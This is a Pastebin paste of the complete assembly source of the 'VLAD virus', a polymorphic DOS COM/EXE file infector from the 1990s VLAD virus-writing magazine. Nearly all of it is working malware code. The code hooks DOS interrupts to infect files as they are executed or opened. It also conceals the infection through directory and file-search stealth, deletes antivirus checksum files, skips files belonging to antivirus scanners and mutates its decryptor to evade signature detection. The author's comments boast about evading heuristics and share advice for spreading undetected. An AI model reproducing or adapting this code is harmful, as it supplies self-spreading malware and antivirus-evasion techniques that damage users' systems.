Advertisement
FlyFar

VLAD Magazine - Issue #2 - ARTICLE.4_2 - VLAD Virus Source Code

Jun 29th, 2023
1,557
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 23.45 KB | Cybersecurity | 0 0
  1. ;               The VLAD virus!
  2. ;               +-------------+
  3.  
  4. ;                                               by Qark/VLAD!
  5.  
  6.  
  7. ;       OVL files... never again!  I give this piece of advice to anyone.
  8. ; By avoiding the infection of OVL's your virus may spread for long times
  9. ; without discovery.  Otherwise everything crashes... ok, not everything
  10. ; but some large application programs do and that certainly makes people
  11. ; suspicious.  Don't do it!
  12.  
  13. ;       WoW!  My first ever polymorphic virus!  Yay! We'll see how it does.
  14. ; My goal is to make it so that there is no longer a signature and you'll
  15. ; need an algorithm to find it... but some lines of code can't really be
  16. ; switched with others so I face a bit of a dilemma.  My code has stood up
  17. ; to all the tests I've done on it so far... so we'll see.
  18.  
  19. ;       According to my calculations there are a few million variations on
  20. ; this sucker. I have gotten it to the point that there are only seven bytes
  21. ; that remain the same.  Not too bad...
  22.  
  23. ;       This virus is completely optimised.  Every routine has been stripped
  24. ; to the barest minimum.  (Unlike Daddy in my last release).  It even passed
  25. ; the 'TZ' test.  He only managed to strip five bytes off this sucker.
  26.  
  27. ; Features:  Doesn't infect EXE files that use internal overlays.
  28. ;            Doesn't get flagged under heuristics.
  29. ;            Deletes CRC checking files.
  30. ;            Findfirst/Findnext stealth.
  31. ;            Directory listing stealth.
  32. ;            Uses the DOS qualify function to fix-up the filename.
  33. ;               (This is a pretty good new feature... uppercase, full path
  34. ;                and it's smaller than a REP MOVSB!)
  35. ;            Int24h handler to stop write protect errors on floppys.
  36. ;            Doesn't infect SCAN*.*, TB*.*, F-PR*.* and DV.E*
  37. ;            Uses SFT's to bypass some DOS functions.
  38. ;            Infects readonly files without changing their attribute.
  39. ;            Slightly polymorphic (Seven stable bytes)
  40. ;            Doesn't infect COM files that are too big or small.
  41.  
  42. ;       Assemble using a86.
  43.  
  44.  
  45.  
  46.     org     0
  47.  
  48.     db      0beh                    ;Stands for MOV SI,xxxx
  49. delta   dw      100h                    ;We'll put the data offset in.
  50.  
  51.     db      0b0h                    ;Stands for MOV AL,xxxx
  52. encryptor       db      0               ;The encryption byte.
  53.  
  54. poly6:
  55.     add     si,offset enc_start     ;Point to the bit to encrypt.
  56.  
  57.  
  58.     call    encrypt                 ;Decrypt the file.
  59.  
  60. enc_start:                              ;Everything after this point
  61.                     ;has been encrypted.
  62.  
  63.     sub     si,offset enc_end       ;Restore SI.
  64.  
  65.     ;mov     word ptr [si+offset quit],20cdh
  66.     db      0c7h,44h
  67.     db      offset quit
  68.     dw      20cdh
  69. quit:                
  70.     mov     word ptr [si+offset quit],44c7h
  71.                     ;Install the TSR now.
  72.     push    bx
  73.     push    cx
  74.     push    ds
  75.     push    es
  76.     push    si
  77.  
  78.     mov     ax,0CAFEh               ;Eat here.
  79.     int     21h
  80.  
  81.     cmp     ax,0F00Dh               ;Is there any of this ?
  82.     je      bad_mem_exit            ;Yep!  Time for lunch! No viral
  83.                     ;activity today!
  84.  
  85.     mov     ax,es                   ;ES = PSP
  86.     dec     ax
  87.     mov     ds,ax                   ;DS=MCB segment
  88.  
  89.     cmp     byte ptr [0],'Z'        ;Z=last MCB
  90.     jne     bad_mem_exit
  91.    
  92.     sub     word ptr [3],160        ;160*16=2560 less memory
  93.     sub     word ptr [12h],160      ;[12h] = PSP:[2] = Top of memory
  94.     mov     ax,word ptr [12h]
  95. ;------------------------------
  96.     push    cs
  97.     pop     ds                      ;DS=CS
  98.  
  99.     xor     bx,bx                   ;ES=0
  100.     mov     es,bx
  101.  
  102.     mov     bx,word ptr es:[132]    ;get int21h
  103.  
  104.     mov     word ptr [si+offset i21],bx
  105.  
  106.     mov     bx,word ptr es:[134]    ;get int21h
  107.     mov     word ptr [si+offset i21 + 2],bx
  108.  
  109. ;------------------------------
  110.  
  111.     mov     es,ax                   ;Store our stuff in here...
  112.  
  113.     xor     di,di
  114.     mov     cx,offset length
  115.     rep     movsb                   ;Move the Virus to ES:DI
  116. ;------------------------------
  117.    
  118.     xor     bx,bx                   ;ES=0
  119.     mov     ds,bx
  120.  
  121.     mov     word ptr [132],offset infection
  122.     mov     word ptr [134],ax
  123.    
  124. bad_mem_exit:
  125.  
  126.     pop     si
  127.     pop     es
  128.     pop     ds
  129.     pop     cx
  130.     pop     bx
  131.  
  132.     cmp     byte ptr [si+offset com_exe],1
  133.     je      Exe_Exit
  134.  
  135.     mov     ax,word ptr [si+offset old3]
  136.     mov     word ptr [100h],ax
  137.     mov     al,byte ptr [si+offset old3+2]
  138.     mov     [102h],al
  139.    
  140.     mov     ax,100h
  141.     jmp     ax
  142.  
  143.  
  144. Exe_exit:
  145.  
  146.     mov     ax,es                           ;ES=PSP
  147.     add     ax,10h                          ;PSP+10H = start of actual
  148.                         ;exe file.
  149.    
  150.     add     word ptr [si+jump+2],ax         ;Fix jump for original CS.
  151.    
  152.     mov     sp,word ptr [si+offset orig_sp]
  153.     add     ax,word ptr [si+offset orig_ss] ;Fix segment with AX.
  154.     mov     ss,ax
  155.  
  156.     push    es
  157.     pop     ds
  158.  
  159.     xor     si,si
  160.     xor     ax,ax
  161.  
  162.     db      0eah
  163.     jump    dd      0
  164.  
  165.  
  166.     db      '[VLAD virus]',0
  167.     db      'by VLAD!',0
  168.  
  169.  
  170. infection       proc    far
  171.    
  172.     push    ax                      ;Save AX
  173.  
  174.     xchg    ah,al                   ;Swap AH,AL
  175.  
  176.     cmp     al,4bh                  ;Cmp AL,xx is smaller than AH
  177.     je      test_file               ;Thanx TZ! :)
  178.     cmp     al,43h
  179.     je      test_file
  180.     cmp     al,56h
  181.     je      test_file
  182.     cmp     ax,006ch
  183.     je      test_file
  184.     cmp     al,3dh
  185.     je      test_file
  186.    
  187.     cmp     al,11h                  ;Do directory stealth.
  188.     je      dir_listing
  189.     cmp     al,12h
  190.     je      dir_listing
  191.  
  192.     cmp     al,4eh                  ;Find_first/Find_next stealth.
  193.     je      find_file
  194.     cmp     al,4fh
  195.     je      find_file
  196.    
  197.     pop ax
  198.  
  199.     cmp     ax,0CAFEh               ;Where I drink coffee!
  200.     jne     jump1_exit
  201.  
  202.     mov     ax,0F00Dh               ;What I eat while I'm there.
  203.  
  204.     iret
  205.  
  206. dir_listing:
  207.     jmp     dir_stealth
  208. find_file:
  209.     jmp     search_stealth
  210. jump1_exit:        
  211.    
  212.     jmp     jend        
  213.    
  214. test_file:
  215.  
  216.     push    bx
  217.     push    cx
  218.     push    dx
  219.     push    ds
  220.     push    es
  221.     push    si
  222.     push    di
  223.  
  224.     cmp     al,6ch
  225.     jne     no_fix_6c
  226.  
  227.     mov     dx,si
  228.  
  229. no_fix_6c:
  230.  
  231.     mov     si,dx                   ;DS:SI = Filename.
  232.  
  233.     push    cs
  234.     pop     es                      ;ES=CS
  235.  
  236.     mov     ah,60h                  ;Get qualified filename.
  237.     mov     di,offset length        ;DI=Buffer for filename.
  238.     call    int21h                  ;This converts it to uppercase too!
  239.  
  240.                     ;CS:LENGTH = Filename in uppercase
  241.                     ;with path and drive.  Much easier
  242.                     ;to handle now!
  243.  
  244.     push    cs
  245.     pop     ds                      ;DS=CS
  246.  
  247.     mov     si,di                   ;SI=DI=Offset of length.
  248.  
  249.     cld                             ;Clear direction flag.
  250.  
  251. find_ascii_z:
  252.  
  253.     lodsb
  254.     cmp     al,0
  255.     jne     find_ascii_z
  256.  
  257.     sub     si,4                    ;Points to the file extension. 'EXE'
  258.  
  259.     lodsw                           ;Mov AX,DS:[SI]
  260.  
  261.     cmp     ax,'XE'                 ;The 'EX' out of 'EXE'
  262.     jne     test_com
  263.    
  264.     lodsb                           ;Mov AL,DS:[SI]
  265.  
  266.     cmp     al,'E'                  ;The last 'E' in 'EXE'
  267.     jne     jump2_exit
  268.  
  269.     jmp     do_file                 ;EXE-file
  270.  
  271. test_com:
  272.  
  273.     cmp     ax,'OC'                 ;The 'CO' out of 'COM'
  274.     jne     jump2_exit
  275.  
  276.     lodsb                           ;Mov AL,DS:[SI]
  277.  
  278.     cmp     al,'M'
  279.     je      do_file                 ;COM-file
  280.    
  281. jump2_exit:
  282.     jmp     far_pop_exit            ;Exit
  283.  
  284. Do_file:
  285.  
  286.     call    chk4scan
  287.     jc      jump2_Exit
  288.    
  289.     mov     ax,3d00h                ;Open file.
  290.     mov     dx,di                   ;DX=DI=Offset length.
  291.     call    int21h
  292.  
  293.     jc      jump2_exit
  294.  
  295.     mov     bx,ax                   ;File handle into BX.
  296.  
  297.     call    get_sft                 ;Our SFT.
  298.  
  299.                     ;Test for infection.
  300.     mov     ax,word ptr es:[di+0dh] ;File time into AX from SFT.
  301.     mov     word ptr es:[di+2],2    ;Bypass Read only attribute.
  302.     and     ax,1f1fh                ;Get rid of the shit we don't need.
  303.     cmp     al,ah                   ;Compare the seconds with minutes.
  304.     je      jump2_exit
  305.  
  306.     push    cs
  307.     pop     es                      ;ES=CS
  308.  
  309.     call    del_crc_files
  310.                     ;Read the File header in to test
  311.                     ;for EXE or COM.
  312.  
  313.     mov     ah,3fh                  ;Read from file.
  314.     mov     cx,1ch                  ;1C bytes.
  315.     call    int21h                  ;DX=Offset length from del_crc_files
  316.                     ;We don't need the filename anymore
  317.                     ;so use that space as a buffer.
  318.  
  319.     ;Save int24h and point to our controller.
  320.  
  321.     xor     ax,ax
  322.     mov     es,ax
  323.  
  324.     push    word ptr es:[24h*4]     ;Save it.
  325.     push    word ptr es:[24h*4+2]
  326.  
  327.     mov     word ptr es:[24h*4],offset int24h
  328.     mov     word ptr es:[24h*4+2],cs        ;Point it!
  329.  
  330.     push    cs
  331.     pop     es
  332.    
  333.     mov     si,dx                   ;SI=DX=Offset of length.
  334.  
  335.     mov     ax,word ptr [si]        ;=Start of COM or EXE.
  336.     add     al,ah                   ;Add possible MZ.
  337.     cmp     al,167                  ;Test for MZ.
  338.     je      exe_infect
  339.     jmp     com_infect
  340.  
  341. EXE_Infect:
  342.  
  343.     mov     byte ptr com_exe,1      ;Signal EXE file.
  344.  
  345.     cmp     word ptr [si+1ah],0     ;Test for overlays.
  346.     jne     exe_close_exit          ;Quick... run!!!
  347.  
  348.     push    si                      ;SI=Offset of header
  349.  
  350.     add     si,0eh                  ;SS:SP are here.
  351.     mov     di,offset orig_ss
  352.     movsw                           ;Move them!
  353.     movsw
  354.  
  355.     mov     di,offset jump          ;The CS:IP go in here.
  356.  
  357.     lodsw                           ;ADD SI,2 - AX destroyed.
  358.  
  359.     movsw
  360.     movsw                           ;Move them!
  361.    
  362.     pop     si
  363.  
  364.     call    get_sft                 ;ES:DI = SFT for file.
  365.  
  366.     mov     ax,word ptr es:[di+11h] ;File length in DX:AX.
  367.     mov     dx,word ptr es:[di+13h]
  368.     mov     cx,16                   ;Divide by paragraphs.
  369.     div     cx
  370.  
  371.     sub     ax,word ptr [si+8]      ;Subtract headersize.
  372.  
  373.     mov     word ptr delta,dx       ;Initial IP.
  374.  
  375.     mov     word ptr [si+14h],dx    ;IP in header.
  376.     mov     word ptr [si+16h],ax    ;CS in header.
  377.  
  378.     add     dx,offset stack_end     ;Fix SS:SP for file.
  379.  
  380.     mov     word ptr [si+0eh],ax    ;We'll make SS=CS
  381.     mov     word ptr [si+10h],dx    ;SP=IP+Offset of our buffer.
  382.  
  383.    
  384.     mov     ax,word ptr es:[di+11h] ;File length in DX:AX.
  385.     mov     dx,word ptr es:[di+13h]
  386.  
  387.     add     ax,offset length        ;Add the virus length on.
  388.     adc     dx,0                    ;32bit
  389.  
  390.     mov     cx,512                  ;Divide by pages.
  391.     div     cx
  392.  
  393.     and     dx,dx
  394.     jz      no_page_fix
  395.  
  396.     inc     ax                              ;One more for the partial
  397.                         ;page!
  398. no_page_fix:
  399.  
  400.     mov     word ptr [si+4],ax              ;Number of pages.
  401.     mov     word ptr [si+2],dx              ;Partial page.
  402.  
  403.     mov     word ptr es:[di+15h],0          ;Lseek to start of file.
  404.    
  405.     call    get_date                        ;Save the old time/date.
  406.  
  407.     mov     ah,40h                          ;Write header to file.
  408.     mov     dx,si                           ;Our header buffer.
  409.     mov     cx,1ch                          ;1CH bytes.
  410.     call    int21h
  411.  
  412.     jc      exe_close_exit
  413.  
  414.     mov     ax,4202h                        ;End of file.  Smaller than
  415.                         ;using SFT's.
  416.     xor     cx,cx                           ;Zero CX
  417.     cwd                                     ;Zero DX (If AX < 8000H then
  418.                         ;CWD moves zero into DX)
  419.     call    int21h
  420.  
  421.     call    enc_setup                       ;Thisll encrypt it and move
  422.                         ;it to the end of file.
  423.    
  424. exe_close_exit:
  425.  
  426.     jmp     com_close_exit
  427.  
  428. COM_Infect:
  429.  
  430.     mov     byte ptr com_exe,0      ;Flag COM infection.
  431.  
  432.     mov     ax,word ptr [si]        ;Save COM files first 3 bytes.
  433.     mov     word ptr old3,ax
  434.     mov     al,[si+2]
  435.     mov     byte ptr old3+2,al
  436.  
  437.     call    get_sft                 ;SFT is at ES:DI
  438.  
  439.     mov     ax,es:[di+11h]          ;AX=File Size
  440.    
  441.     cmp     ax,64000
  442.     ja      com_close_exit          ;Too big.
  443.  
  444.     cmp     ax,1000
  445.     jb      com_close_exit          ;Too small.
  446.  
  447.     push    ax                      ;Save filesize.
  448.    
  449.     mov     newoff,ax               ;For the new jump.
  450.     sub     newoff,3                ;Fix the jump.
  451.  
  452.     mov     word ptr es:[di+15h],0  ;Lseek to start of file :)
  453.  
  454.     call    get_date                ;Save original file date.
  455.  
  456.     mov     ah,40h
  457.     mov     cx,3
  458.     mov     dx,offset new3          ;Write the virus jump to start of
  459.     call    int21h                  ;file.
  460.  
  461.     pop     ax                      ;Restore file size.
  462.    
  463.     jc      com_close_exit          ;If an error occurred... exit.
  464.  
  465.     mov     word ptr es:[di+15h],ax ;Lseek to end of file.
  466.  
  467.     add     ax,100h                 ;File size + 100h.
  468.     mov     word ptr delta,ax       ;The delta offset for COM files.
  469.  
  470.     call    enc_setup
  471.  
  472. com_close_exit:
  473.  
  474.     mov     ah,3eh
  475.     call    int21h
  476.  
  477.     ;restore int24h
  478.  
  479.     xor     ax,ax
  480.     mov     es,ax
  481.  
  482.     pop     word ptr es:[24h*4+2]
  483.     pop     word ptr es:[24h*4]
  484.  
  485.  
  486. far_pop_exit:
  487.  
  488.     pop     di
  489.     pop     si
  490.     pop     es
  491.     pop     ds
  492.     pop     dx
  493.     pop     cx
  494.     pop     bx
  495.  
  496.     pop     ax
  497.  
  498. jend:
  499.     db      0eah                    ;Opcode for jmpf
  500.     i21     dd      0
  501.  
  502.  
  503. ;$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
  504. ;$$              PROCEDURES       AND          DATA                      $$
  505. ;$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
  506.  
  507.  
  508. int21h  proc    near                    ;Our int 21h
  509.     pushf
  510.     call    dword ptr cs:[i21]
  511.     ret
  512. int21h  endp
  513.  
  514. int24h  proc    near
  515.     mov     al,3
  516.     iret
  517. int24h  endp
  518.  
  519. Search_Stealth:
  520.  
  521.     pop     ax              ;Restore AX.
  522.    
  523.     call    int21h
  524.     jc      end_search
  525.  
  526.     push    es
  527.     push    bx
  528.     push    si
  529.    
  530.     mov     ah,2fh
  531.     call    int21h
  532.  
  533.     mov     si,bx
  534.  
  535.     mov     bx,word ptr es:[si+16h]
  536.     and     bx,1f1fh
  537.     cmp     bl,bh
  538.     jne     search_pop                         ;Is our marker set ?
  539.  
  540.     sub     word ptr es:[si+1ah],offset length ;Subtract the file length.
  541.     sbb     word ptr es:[si+1ch],0
  542.  
  543. search_pop:
  544.     pop     si
  545.     pop     bx
  546.     pop     es
  547.     clc
  548. end_search:
  549.     retf     2                      ;This is the same as an IRET
  550.                     ;except that the flags aren't popped
  551.                     ;off so our Carry Remains set.
  552.  
  553.  
  554.  
  555.  
  556. Dir_Stealth:
  557.  
  558.     ;This bit means that when you do a 'dir' there is no change in
  559.     ;file size.
  560.  
  561.     pop     ax
  562.  
  563.     call    int21h                          ;Call the interrupt
  564.     cmp     al,0                            ;straight off.
  565.     jne     end_of_dir
  566.  
  567.     push    es
  568.     push    ax                              ;Save em.
  569.     push    bx
  570.     push    si
  571.  
  572.     mov     ah,2fh                          ;Get DTA address.
  573.     call    int21h
  574.  
  575.     mov     si,bx
  576.     cmp     byte ptr es:[si],0ffh           ;Extended FCB ?
  577.     jne     not_extended
  578.  
  579.     add     si,7                            ;Add the extra's.
  580.  
  581. not_extended:
  582.    
  583.     mov     bx,word ptr es:[si+17h]         ;Move time.
  584.     and     bx,1f1fh
  585.     cmp     bl,bh
  586.     jne     dir_pop                         ;Is our marker set ?
  587.    
  588.     sub     word ptr es:[si+1dh],offset length ;Subtract the file length.
  589.     sbb     word ptr es:[si+1fh],0
  590.  
  591. dir_pop:
  592.  
  593.     pop     si
  594.     pop     bx
  595.     pop     ax
  596.     pop     es
  597.  
  598. end_of_dir:
  599.  
  600.     iret
  601.  
  602.  
  603. Get_Date        proc    near
  604. ;Saves the date into DATE and TIME.
  605.  
  606.     mov     ax,5700h                ;Get Date/Time.
  607.     call    int21h
  608.     mov     word ptr time,cx
  609.     mov     word ptr date,dx
  610.    
  611.     ret
  612. Get_Date        endp
  613.  
  614.     time    dw      0
  615.     date    dw      0
  616.  
  617. Set_marker      proc    near
  618. ;Sets the time back and changes the time into an infection marker.
  619.  
  620.     mov     cx,time
  621.     mov     al,ch
  622.     and     al,1fh
  623.     and     cl,0e0h
  624.     or      cl,al
  625.     mov     dx,date
  626.     mov     ax,5701h
  627.     call    int21h
  628.        
  629.     ret
  630.  
  631. Set_marker      endp
  632.  
  633. PolyMorphic     Proc    Near
  634. ;Moves random instructions into the code.
  635.  
  636.     in      ax,40h                  ;Random in AX
  637.     and     ax,6                    ;Between 0-3 * 2
  638.     mov     di,offset enc_loop      ;Put the xor in a random position.
  639.     add     di,ax                  
  640.     mov     word ptr [di],0430h     ;=XOR [SI],AL
  641.  
  642.     mov     dx,di                   ;Already done this position
  643.  
  644.     mov     di,offset poly1         ;Put the random instruction here.
  645.    
  646.     mov     cx,3                    ;3 random instructions.
  647.  
  648. poly_enc_loop:
  649.    
  650.     in      ax,40h                  ;Random number in AX.
  651.     and     ax,14                   ;Between 0-7.  Multiplied by 2.
  652.                     ;14 = 00001110b
  653.     mov     si,offset database1     ;SI points to start of database.
  654.     add     si,ax                   ;Add SI with AX the random offset.
  655.  
  656.     cmp     dx,di                   ;Is the XOR here ?
  657.     jne     poly_move               ;Nope its ok.
  658.  
  659.     inc     di                      ;Dont move where the XOR is!
  660.     inc     di
  661. poly_move:
  662.     movsw                           ;Move the instruction.
  663.     loop    poly_enc_loop
  664.    
  665. Poly_CX:
  666.     ;This time we are randomising the 'MOV CX,' in the encryption
  667.     ;routine with some POPs.
  668.  
  669.     in      ax,40h                  ;Random number in AX.
  670.     and     ax,3                    ;0-3
  671.     cmp     ax,3
  672.     je      poly_cx                 ;We only have 3 combinations to
  673.                     ;choose from so retry if the fourth
  674.                     ;option gets choosen.
  675.    
  676.     xchg    al,ah                   ;Swap em for AAD.
  677.     aad                             ;Multiply AH by 10(decimal).
  678.     shr     al,1                    ;Divide by 2.
  679.                     ;The overall effect of this is
  680.                     ;MUL AX,5  We need this because
  681.                     ;we have to move 5 bytes.
  682.    
  683.     mov     si,offset database2
  684.     add     si,ax                  
  685.     mov     di,offset poly5         ;Where to put the bytes.
  686.     movsw                           ;Move 5 bytes
  687.     movsw
  688.     movsb
  689.  
  690.     in      ax,40h                  ;Rand in AX.
  691.     and     ax,12                   ;0-3*4
  692.     mov     si,offset database3
  693.     add     si,ax
  694.     mov     di,offset poly6
  695.     movsw
  696.     movsw
  697.  
  698.     in      ax,40h
  699.     and     ax,2
  700.     mov     si,offset database4
  701.     add     si,ax
  702.     mov     di,offset poly7
  703.     movsw
  704.  
  705.     in      ax,40h
  706.     and     ax,2
  707.     mov     si,offset database5
  708.     add     si,ax
  709.     mov     di,offset poly8
  710.     movsw
  711.    
  712.     ret
  713.    
  714.     db      '[VIP v0.01]',0
  715.  
  716. PolyMorphic     EndP
  717.  
  718. database1       db      0f6h,0d0h               ;not al         2 bytes
  719.         db      0feh,0c0h               ;inc al         2 bytes
  720.         db      0f6h,0d8h               ;neg al         2 bytes
  721.         db      0feh,0c8h               ;dec al         2 bytes
  722.         db      0d0h,0c0h               ;rol al,1       2 bytes
  723.         db      04h,17h                 ;add al,17h     2 bytes
  724.         db      0d0h,0c8h               ;ror al,1       2 bytes
  725.         db      2ch,17h                 ;sub al,17h     2 bytes
  726.  
  727. database2:      ;Three variations on the one routine within encrypt.
  728.         mov     cx,offset enc_end - offset enc_start
  729.         push    cs
  730.         pop     ds
  731.        
  732.         push    cs
  733.         pop     ds
  734.         mov     cx,offset enc_end - offset enc_start
  735.  
  736.         push    cs
  737.         mov     cx,offset enc_end - offset enc_start
  738.         pop     ds
  739.  
  740. database3:      ;Four variations of the routine at the start of the virus.
  741.  
  742.     add     si,offset enc_start + 1
  743.     dec     si
  744.    
  745.     dec     si
  746.     add     si,offset enc_start +1
  747.    
  748.     add     si,offset enc_start -1
  749.     inc     si
  750.    
  751.     inc     si
  752.     add     si,offset enc_start -1
  753.  
  754. database4:                      ;This is for the INC SI in the encryption.
  755.     inc     si
  756.     cld
  757.     cld
  758.     inc     si
  759.  
  760. database5:                      ;This is for the RET in the encryption.
  761.     ret
  762.     db      0fh
  763.     cld
  764.     ret
  765.  
  766. Enc_Setup       proc    near
  767.  
  768.     push    cs
  769.     pop     es
  770.    
  771.     call    polymorphic             ;Our polymorphic routine.
  772.  
  773.     inc     byte ptr encryptor      ;Change the encryptor.
  774.     jnz     enc_not_zero            ;Test for zero.
  775.                     ;XOR by Zero is the same byte.
  776.     inc     byte ptr encryptor
  777.  
  778. enc_not_zero:
  779.  
  780.     xor     si,si
  781.     mov     di,offset length        ;Offset of our buffer.
  782.     mov     cx,offset length        ;Virus Length.
  783.     rep     movsb                   ;Move the virus up in memory for
  784.                     ;encryption.
  785.     mov     al,byte ptr encryptor
  786.     mov     si,offset length + offset enc_start
  787.  
  788.     call    encrypt                 ;Encrypt virus.
  789.  
  790.     mov     ah,40h                  ;Write virus to file
  791.     mov     dx,offset length        ;Buffer for encrypted virus.
  792.     mov     cx,offset length        ;Virus length.
  793.     call    int21h
  794.  
  795.     call    set_marker              ;Mark file as infected.
  796.  
  797.     ret
  798. Enc_Setup       endp
  799.  
  800. Get_SFT Proc    Near
  801. ;Entry:  BX=File Handle.
  802. ;Exit:   ES:DI=SFT.
  803.  
  804.     push    bx
  805.  
  806.     mov     ax,1220h        ;Get Job File Table Entry.  The byte pointed
  807.     int     2fh             ;at by ES:[DI] contains the number of the
  808.                 ;SFT for the file handle.
  809.  
  810.     xor     bx,bx
  811.     mov     bl,es:[di]      ;Get address of System File Table Entry.
  812.     mov     ax,1216h
  813.     int     2fh
  814.  
  815.     pop     bx
  816.  
  817.     ret
  818.  
  819. Get_SFT EndP
  820.  
  821. Del_CRC_Files   Proc    Near
  822. ;Deletes AV CRC checking files.  Much smaller than the previous version.
  823.    
  824.     std                             ;Scan backwards.
  825.  
  826. find_slash2:                            ;Find the backslash in the path.
  827.  
  828.     lodsb
  829.     cmp     al,'\'
  830.     jne     find_slash2
  831.  
  832.     cld                             ;Scan forwards.
  833.    
  834.     lodsw                           ;ADD SI,2 - AX is destroyed.
  835.  
  836.     push    si
  837.     pop     di                      ;DI=SI=Place to put filename.
  838.  
  839.     mov     si,offset crc_files
  840.  
  841. del_crc:
  842.  
  843.     push    di                      ;Save DI.
  844.  
  845. loadname:
  846.     movsb
  847.     cmp     byte ptr [di-1],0
  848.     jne     loadname
  849.    
  850.     mov     ah,41h
  851.     call    int21h                  ;Delete.
  852.  
  853.     pop     di
  854.  
  855.     cmp     si,offset chk4scan
  856.     jb      del_crc
  857.  
  858.     ret
  859.  
  860. Del_CRC_Files   EndP
  861.    
  862.  
  863.     ;Delete these...
  864. CRC_Files       db      'ANTI-VIR.DAT',0
  865.         db      'MSAV.CHK',0
  866.         db      'CHKLIST.CPS',0
  867.         db      'CHKLIST.MS',0
  868.  
  869. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  870.  
  871. Chk4Scan        Proc    Near
  872. ;This routine searches for SCAN, TB* and F-PR* and exits with the carry
  873. ;set if they are found.  All these files self-check themselves so will alert
  874. ;the user to the viruses presence.  DV.EXE is checked by DV.COM and won't
  875. ;execute.
  876. ;Assumes DI=offset length, SI=End of filename
  877.  
  878.     std                             ;Scan backwards.
  879.  
  880. find_slash:                             ;Find the backslash in the path.
  881.     lodsb
  882.     cmp     al,'\'
  883.     jne     find_slash
  884.    
  885.     cld                             ;Scan forwards.
  886.    
  887.     lodsw                           ;SI points to byte before slash
  888.                     ;so we add 2.  AX is killed.
  889.     lodsw
  890.     cmp     ax,'CS'                 ;The 'SC' from SCAN.
  891.     jne     tbcheck
  892.     lodsw
  893.     cmp     ax,'NA'                 ;The 'AN' from SCAN
  894.     jne     chkfail
  895.     stc                             ;Set carry.
  896.     ret
  897. tbcheck:
  898.     cmp     ax,'BT'                 ;The 'TB' from TBSAN.
  899.     jne     fcheck
  900.     stc                             ;Set carry.
  901.     ret
  902. fcheck:
  903.     cmp     ax,'-F'                 ;The 'F-' from F-PROT.
  904.     jne     dvcheck
  905.     lodsw
  906.     cmp     ax,'RP'                 ;The 'PR' from F-PROT.
  907.     jne     chkfail
  908.     stc                             ;Set carry
  909.     ret
  910. dvcheck:
  911.     cmp     ax,'VD'                 ;The 'DV' from DV.EXE.
  912.     jne     chkfail
  913.     lodsw
  914.     cmp     ax,'E.'                 ;The '.E' from DV.EXE.
  915.     jne     chkfail
  916.     stc
  917.     ret
  918. chkfail:
  919.     clc                             ;Clear the carry.
  920.     ret
  921.  
  922. Chk4Scan        EndP
  923.  
  924.     com_exe db      0                       ;1=EXE
  925.  
  926.     New3    db      0e9h                    ;The jump for the start of
  927.     Newoff  dw      0                       ;COM files.
  928.  
  929.     old3    db      0cdh,20h,90h            ;First 3 comfile bytes here.
  930.  
  931.     orig_ss dw      0
  932.     orig_sp dw      0
  933.  
  934. enc_end:
  935.  
  936.  
  937. encrypt proc    near            ;Encrypts the virus.
  938.    
  939.     ;SI = offset of bit to be encrypted
  940.     ;AL = encryptor
  941. poly5:        
  942.     mov     cx,offset enc_end - offset enc_start
  943.     push    cs
  944.     pop     ds
  945. enc_loop:
  946.  
  947. poly1:                                  ;The next four lines of code are
  948.     ror     al,1                    ;continuously swapped and moved with
  949. poly2:                                  ;other code.  Ever changing...
  950.     ror     al,1
  951. poly3:
  952.     ror     al,1
  953. poly4:
  954.     xor     byte ptr [si],al
  955. poly7:
  956.     nop
  957.     inc     si
  958.     loop    enc_loop
  959. poly8:
  960.     nop
  961.     ret
  962.  
  963. encrypt endp
  964.  
  965.  
  966. length  db      100 dup (0)
  967. stack_end:
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement